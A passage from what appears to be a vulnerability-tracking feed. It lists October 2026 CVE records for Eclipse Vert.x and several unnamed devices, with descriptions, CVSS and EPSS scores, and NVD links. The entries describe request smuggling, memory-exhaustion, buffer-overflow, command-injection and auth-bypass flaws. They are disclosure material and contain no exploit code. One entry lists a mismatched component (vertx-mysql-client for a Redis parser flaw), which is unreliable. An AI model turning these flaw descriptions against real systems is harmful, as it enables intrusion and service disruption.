EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102479&date=2026-10-25).
Sources:
NVD CVE-2026-102479: https://nvd.nist.gov/vuln/detail/CVE-2026-102479
Vendor advisory (via NVD references): https://github.com/eclipse-vertx/vert.x/security/advisories/GHSA-ch7p-g5pm-3gqx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102479&date=2026-10-25
In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP/1.x decoder uses a canonicalization for well known HTTP headers, the canonicalization process interprets well crafted headers as headers of this list, allowing for instance Content-Xength to be interpeted as Content-Length.



This can be exploited for request smuggling purpose.



The impacted component is io.vertx:vertx-core.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x Redis client RESP parser pre-allocates arrays to a length declared by...
https://kevwire.com/record/CVE-2026-102465
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x Redis client RESP parser pre-allocates arrays to a length declared by... (Oct 15, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x Redis client RESP parser pre-allocates arrays to a length declared by the server without enforcing an upper bound. A malicious or compromised Redis server, or an attacker in a man-in-the-middle position, can send a crafted RESP response declaring an extremely large array, push, or attribute length, causing the client to attempt a massive heap allocation. The resulting OutOfMemoryError crashes the Vert.x event loop thread, denying service to all connections and verticles sharing that loop.



The impacted component is io.vertx:vertx-mysql-client.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102465).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102465&date=2026-10-25).
Sources:
NVD CVE-2026-102465: https://nvd.nist.gov/vuln/detail/CVE-2026-102465
Vendor advisory (via NVD references): https://github.com/vert-x3/vertx-redis-client/security/advisories/GHSA-4wf9-p5hg-98w5
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102465&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x Redis client RESP parser pre-allocates arrays to a length declared by the server without enforcing an upper bound. A malicious or compromised Redis server, or an attacker in a man-in-the-middle position, can send a crafted RESP response declaring an extremely large array, push, or attribute length, causing the client to attempt a massive heap allocation. The resulting OutOfMemoryError crashes the Vert.x event loop thread, denying service to all connections and verticles sharing that loop.



The impacted component is io.vertx:vertx-mysql-client.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability in the logs settings functionality could allow an authenticated attacker to achieve code execution.
https://kevwire.com/record/CVE-2026-43834
A stack-based buffer overflow vulnerability in the logs settings functionality could allow an authenticated attacker to achieve code execution. (Oct 20, 2026).
A stack-based buffer overflow vulnerability in the logs settings functionality could allow an authenticated attacker to achieve code execution.
CVSS 7.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43834).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43834&date=2026-10-25).
Sources:
NVD CVE-2026-43834: https://nvd.nist.gov/vuln/detail/CVE-2026-43834
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43834&date=2026-10-25
A stack-based buffer overflow vulnerability in the logs settings functionality could allow an authenticated attacker to achieve code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the firmware upgrade functionality could allow an authenticated attacker to upload a forged firmware upgrade file, potentially compromising the device...
https://kevwire.com/record/CVE-2026-43835
A vulnerability in the firmware upgrade functionality could allow an authenticated attacker to upload a forged firmware upgrade file, potentially compromising the device... (Oct 20, 2026).
A vulnerability in the firmware upgrade functionality could allow an authenticated attacker to upload a forged firmware upgrade file, potentially compromising the device permanently.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43835).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43835&date=2026-10-25).
Sources:
NVD CVE-2026-43835: https://nvd.nist.gov/vuln/detail/CVE-2026-43835
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43835&date=2026-10-25
A vulnerability in the firmware upgrade functionality could allow an authenticated attacker to upload a forged firmware upgrade file, potentially compromising the device permanently.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability could allow an attacker to forge a packet to execute arbitrary commands with maximum privileges.
https://kevwire.com/record/CVE-2026-43836
A vulnerability could allow an attacker to forge a packet to execute arbitrary commands with maximum privileges. (Oct 20, 2026).
A vulnerability could allow an attacker to forge a packet to execute arbitrary commands with maximum privileges.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43836).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43836&date=2026-10-25).
Sources:
NVD CVE-2026-43836: https://nvd.nist.gov/vuln/detail/CVE-2026-43836
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43836&date=2026-10-25
A vulnerability could allow an attacker to forge a packet to execute arbitrary commands with maximum privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow vulnerability in the password verification functionality could allow an attacker with guest authentication to achieve code execution.
https://kevwire.com/record/CVE-2026-43837
A buffer overflow vulnerability in the password verification functionality could allow an attacker with guest authentication to achieve code execution. (Oct 20, 2026).
A buffer overflow vulnerability in the password verification functionality could allow an attacker with guest authentication to achieve code execution.
CVSS 7.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43837).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43837&date=2026-10-25).
Sources:
NVD CVE-2026-43837: https://nvd.nist.gov/vuln/detail/CVE-2026-43837
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43837&date=2026-10-25
A buffer overflow vulnerability in the password verification functionality could allow an attacker with guest authentication to achieve code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability in the login functionality could allow an attacker to achieve code execution.
https://kevwire.com/record/CVE-2026-43838
A stack-based buffer overflow vulnerability in the login functionality could allow an attacker to achieve code execution. (Oct 20, 2026).
A stack-based buffer overflow vulnerability in the login functionality could allow an attacker to achieve code execution.
CVSS 9.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43838).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43838&date=2026-10-25).
Sources:
NVD CVE-2026-43838: https://nvd.nist.gov/vuln/detail/CVE-2026-43838
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43838&date=2026-10-25
A stack-based buffer overflow vulnerability in the login functionality could allow an attacker to achieve code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL pointer dereference vulnerability in the logs management functionality could allow an unauthenticated attacker to crash the service.
https://kevwire.com/record/CVE-2026-43839
A NULL pointer dereference vulnerability in the logs management functionality could allow an unauthenticated attacker to crash the service. (Oct 20, 2026).
A NULL pointer dereference vulnerability in the logs management functionality could allow an unauthenticated attacker to crash the service.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43839).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43839&date=2026-10-25).
Sources:
NVD CVE-2026-43839: https://nvd.nist.gov/vuln/detail/CVE-2026-43839
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43839&date=2026-10-25
A NULL pointer dereference vulnerability in the logs management functionality could allow an unauthenticated attacker to crash the service.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the proprietary protocol could allow an attacker to bypass the authentication mechanism.
https://kevwire.com/record/CVE-2026-43844
A vulnerability in the proprietary protocol could allow an attacker to bypass the authentication mechanism. (Oct 20, 2026).
A vulnerability in the proprietary protocol could allow an attacker to bypass the authentication mechanism.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43844).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43844&date=2026-10-25).
Sources:
NVD CVE-2026-43844: https://nvd.nist.gov/vuln/detail/CVE-2026-43844
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43844&date=2026-10-25
A vulnerability in the proprietary protocol could allow an attacker to bypass the authentication mechanism.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the password reset mechanism could allow an attacker to bypass the authentication mechanism.
https://kevwire.com/record/CVE-2026-43845
A vulnerability in the password reset mechanism could allow an attacker to bypass the authentication mechanism. (Oct 20, 2026).
A vulnerability in the password reset mechanism could allow an attacker to bypass the authentication mechanism.
CVSS 9.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43845).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43845&date=2026-10-25).
Sources:
NVD CVE-2026-43845: https://nvd.nist.gov/vuln/detail/CVE-2026-43845
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43845&date=2026-10-25
A vulnerability in the password reset mechanism could allow an attacker to bypass the authentication mechanism.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability in a non-functional feature could allow an authenticated attacker to achieve code execution.
https://kevwire.com/record/CVE-2026-43846
A stack-based buffer overflow vulnerability in a non-functional feature could allow an authenticated attacker to achieve code execution. (Oct 20, 2026).
A stack-based buffer overflow vulnerability in a non-functional feature could allow an authenticated attacker to achieve code execution.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43846).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43846&date=2026-10-25).
Sources:
NVD CVE-2026-43846: https://nvd.nist.gov/vuln/detail/CVE-2026-43846
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43846&date=2026-10-25
A stack-based buffer overflow vulnerability in a non-functional feature could allow an authenticated attacker to achieve code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the proprietary protocol could allow an attacker to brute force the administrator password without restrictions, even when the SafeEnhancement feature is...
https://kevwire.com/record/CVE-2026-43847
A vulnerability in the proprietary protocol could allow an attacker to brute force the administrator password without restrictions, even when the SafeEnhancement feature is... (Oct 20, 2026).
A vulnerability in the proprietary protocol could allow an attacker to brute force the administrator password without restrictions, even when the SafeEnhancement feature is enabled.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43847).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43847&date=2026-10-25).
Sources:
NVD CVE-2026-43847: https://nvd.nist.gov/vuln/detail/CVE-2026-43847
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43847&date=2026-10-25
A vulnerability in the proprietary protocol could allow an attacker to brute force the administrator password without restrictions, even when the SafeEnhancement feature is enabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A command injection vulnerability could allow an authenticated attacker to achieve root-level code execution on the system.
https://kevwire.com/record/CVE-2026-43850
A command injection vulnerability could allow an authenticated attacker to achieve root-level code execution on the system. (Oct 20, 2026).
A command injection vulnerability could allow an authenticated attacker to achieve root-level code execution on the system.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43850).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43850&date=2026-10-25).
Sources:
NVD CVE-2026-43850: https://nvd.nist.gov/vuln/detail/CVE-2026-43850
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43850&date=2026-10-25
A command injection vulnerability could allow an authenticated attacker to achieve root-level code execution on the system.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A path traversal vulnerability could allow an authenticated attacker to read arbitrary files on the system.
https://kevwire.com/record/CVE-2026-43851
A path traversal vulnerability could allow an authenticated attacker to read arbitrary files on the system. (Oct 20, 2026).
A path traversal vulnerability could allow an authenticated attacker to read arbitrary files on the system.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43851).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43851&date=2026-10-25).
Sources:
NVD CVE-2026-43851: https://nvd.nist.gov/vuln/detail/CVE-2026-43851
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43851&date=2026-10-25
A path traversal vulnerability could allow an authenticated attacker to read arbitrary files on the system.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability could allow an authenticated attacker to write files to arbitrary locations on the system.
https://kevwire.com/record/CVE-2026-43852
A vulnerability could allow an authenticated attacker to write files to arbitrary locations on the system. (Oct 20, 2026).
A vulnerability could allow an authenticated attacker to write files to arbitrary locations on the system.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43852).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43852&date=2026-10-25).
Sources:
NVD CVE-2026-43852: https://nvd.nist.gov/vuln/detail/CVE-2026-43852
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43852&date=2026-10-25
A vulnerability could allow an authenticated attacker to write files to arbitrary locations on the system.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability could allow an attacker to send a crafted message to trigger an assertion fault, causing the service to crash.
https://kevwire.com/record/CVE-2026-43853
A vulnerability could allow an attacker to send a crafted message to trigger an assertion fault, causing the service to crash. (Oct 20, 2026).
A vulnerability could allow an attacker to send a crafted message to trigger an assertion fault, causing the service to crash.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43853).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43853&date=2026-10-25).
Sources:
NVD CVE-2026-43853: https://nvd.nist.gov/vuln/detail/CVE-2026-43853
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43853&date=2026-10-25
A vulnerability could allow an attacker to send a crafted message to trigger an assertion fault, causing the service to crash.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A heap-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.
https://kevwire.com/record/CVE-2026-43855
A heap-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution. (Oct 20, 2026).
A heap-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.
CVSS 7.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43855).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43855&date=2026-10-25).
Sources:
NVD CVE-2026-43855: https://nvd.nist.gov/vuln/detail/CVE-2026-43855
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43855&date=2026-10-25
A heap-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability in the FileProcess::CheckDir function could allow a remote authenticated attacker to achieve arbitrary code execution via a path longer...
https://kevwire.com/record/CVE-2026-43856
A stack-based buffer overflow vulnerability in the FileProcess::CheckDir function could allow a remote authenticated attacker to achieve arbitrary code execution via a path longer... (Oct 20, 2026).
A stack-based buffer overflow vulnerability in the FileProcess::CheckDir function could allow a remote authenticated attacker to achieve arbitrary code execution via a path longer than 1024 bytes.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43856).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43856&date=2026-10-25).
Sources:
NVD CVE-2026-43856: https://nvd.nist.gov/vuln/detail/CVE-2026-43856
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43856&date=2026-10-25
A stack-based buffer overflow vulnerability in the FileProcess::CheckDir function could allow a remote authenticated attacker to achieve arbitrary code execution via a path longer than 1024 bytes.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution with privileges on the service.
https://kevwire.com/record/CVE-2026-43857
A vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution with privileges on the service. (Oct 20, 2026).
A vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution with privileges on the service.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43857).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43857&date=2026-10-25).
Sources:
NVD CVE-2026-43857: https://nvd.nist.gov/vuln/detail/CVE-2026-43857
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43857&date=2026-10-25
A vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution with privileges on the service.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.
https://kevwire.com/record/CVE-2026-43858
A stack-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution. (Oct 20, 2026).
A stack-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43858).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43858&date=2026-10-25).
Sources:
NVD CVE-2026-43858: https://nvd.nist.gov/vuln/detail/CVE-2026-43858
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43858&date=2026-10-25
A stack-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the WebSocket implementation does not define a maximum number of bytes allocation...
https://kevwire.com/record/CVE-2026-102467
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the WebSocket implementation does not define a maximum number of bytes allocation... (Oct 15, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the WebSocket implementation does not define a maximum number of bytes allocation when decompressing frames or messages. This can be used to implement DDOS attacks with a zip bomb.



The impacted component is io.vertx:vertx-core.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102467).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102467&date=2026-10-25).
Sources:
NVD CVE-2026-102467: https://nvd.nist.gov/vuln/detail/CVE-2026-102467
Vendor advisory (via NVD references): https://github.com/eclipse-vertx/vert.x/security/advisories/GHSA-h722-h6c2-6j3c
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102467&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the WebSocket implementation does not define a maximum number of bytes allocation when decompressing frames or messages. This can be used to implement DDOS attacks with a zip bomb.



The impacted component is io.vertx:vertx-core.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the HTTP proxy provides a body transformer interceptor that relies on a max buffered bytes limit to...
https://kevwire.com/record/CVE-2026-102475
In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the HTTP proxy provides a body transformer interceptor that relies on a max buffered bytes limit to... (Oct 15, 2026).
In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the HTTP proxy provides a body transformer interceptor that relies on a max buffered bytes limit to ensure a bounded buffer for each request. This can be used to force a server to indefinitely allocate heap. This vulnerability requires to use an intercepting body transformer.



The impacted component is io.vertx:vertx-http-proxy.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102475).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102475&date=2026-10-25).
Sources:
NVD CVE-2026-102475: https://nvd.nist.gov/vuln/detail/CVE-2026-102475
Vendor advisory (via NVD references): https://github.com/eclipse-vertx/vertx-http-proxy/security/advisories/GHSA-mjwh-5qfp-hjgc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102475&date=2026-10-25
In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the HTTP proxy provides a body transformer interceptor that relies on a max buffered bytes limit to ensure a bounded buffer for each request. This can be used to force a server to indefinitely allocate heap. This vulnerability requires to use an intercepting body transformer.



The impacted component is io.vertx:vertx-http-proxy.

